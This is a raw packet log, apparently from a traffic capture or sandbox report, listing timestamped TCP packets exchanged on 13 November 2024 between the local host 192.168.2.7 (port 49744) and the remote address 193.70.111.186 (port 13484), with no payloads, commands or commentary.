Nov 13, 2024 15:02:38.049515009 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049542904 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049566031 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049570084 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049592972 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049602032 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049612045 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049631119 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049657106 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049683094 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049685001 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049715042 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049731016 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049741983 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049768925 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049768925 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049784899 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049797058 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049813986 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049824953 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049851894 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049874067 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049879074 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049901009 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049906969 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049935102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049936056 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049948931 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049962997 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049987078 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049990892 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050014973 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050021887 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050041914 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050049067 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050060987 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050071001 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050072908 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050086021 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050098896 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050101995 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050111055 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050115108 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050117016 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050127983 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050128937 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050142050 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050153971 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050167084 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050172091 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050179005 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050192118 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050204039 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050210953 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050215960 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050230026 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050235987 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050242901 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050256014 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050267935 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050271034 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050281048 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050287962 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050293922 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050304890 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050307035 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050319910 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050332069 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050339937 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050347090 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050369024 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050373077 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050386906 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050395012 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050399065 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050410986 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050422907 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050431013 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050446987 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050473928 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050479889 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050493002 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050504923 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050517082 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050529003 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050542116 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050554037 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050555944 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050568104 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.050575972 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050587893 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050602913 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.050632000 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055360079 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055382967 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055433035 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055458069 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055460930 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055506945 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055599928 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055634022 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055645943 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055686951 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055694103 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055700064 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055711985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055735111 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055749893 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055757046 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055768013 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055778980 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055809021 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055811882 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055826902 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055830956 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055844069 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055855989 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055866003 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055869102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055900097 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.055913925 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055927038 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055938005 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055974960 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.055977106 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056018114 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056021929 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056030989 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056063890 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056080103 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056116104 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056118011 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056195021 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056241035 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056247950 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056261063 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056272984 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056284904 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056319952 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056320906 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056334019 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056345940 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056369066 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056369066 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056381941 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056384087 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056395054 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056407928 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056422949 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056427002 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.056436062 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056472063 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056498051 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056546926 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056559086 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056612015 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056623936 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056658030 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056669950 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056682110 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056694031 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056706905 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056778908 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056792021 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056802988 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056873083 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056885004 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056896925 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056909084 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056921959 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056934118 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056956053 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056967974 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056981087 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.056996107 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057044983 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057058096 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057070017 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057080984 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057135105 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057179928 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057193041 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057204008 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057218075 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057230949 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057254076 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057265043 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057276964 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057288885 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057353020 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057365894 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057395935 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057409048 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057423115 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057436943 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057449102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057526112 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057538986 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057550907 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057564020 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057580948 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057594061 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057643890 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057657003 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057671070 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057683945 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057697058 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057708025 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057773113 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057785988 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057821989 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057835102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057847023 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057859898 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057882071 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057893991 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057982922 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.057995081 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058006048 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058018923 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058028936 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058033943 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058042049 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058053970 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058109999 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058121920 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058134079 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058146000 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058161020 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058172941 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058195114 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058207035 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058218002 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058231115 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058245897 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058257103 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058301926 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058314085 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058339119 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058351040 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058363914 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058376074 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058428049 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058440924 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058451891 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058465004 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058551073 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058564901 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058588028 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058599949 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058604956 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058609962 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058614969 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058625937 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058639050 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058650970 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058664083 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058676004 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058689117 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058720112 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058732033 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058744907 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058757067 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058768034 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058780909 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058793068 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058826923 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058840036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058852911 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058865070 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058876991 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058888912 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058901072 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058912992 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.058990002 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059003115 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059015036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059026957 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059039116 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059051991 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059195042 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059206963 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059220076 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059231997 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059243917 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059257030 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059268951 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059343100 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059355974 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059367895 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059381008 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059392929 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059405088 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059417009 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059427977 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059482098 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059494972 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059506893 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059519053 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059531927 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059544086 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059555054 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059560061 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059565067 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059576988 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059627056 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059639931 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059652090 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059664965 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059678078 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059691906 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059704065 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059746027 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059758902 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059770107 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059784889 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059797049 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059808969 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059820890 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059834003 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059845924 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059868097 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059880018 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059956074 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.059967995 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060049057 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060060978 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060072899 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060136080 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060148001 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060159922 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060173035 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060184956 CET	13484	49744	193.70.111.186	192.168.2.7
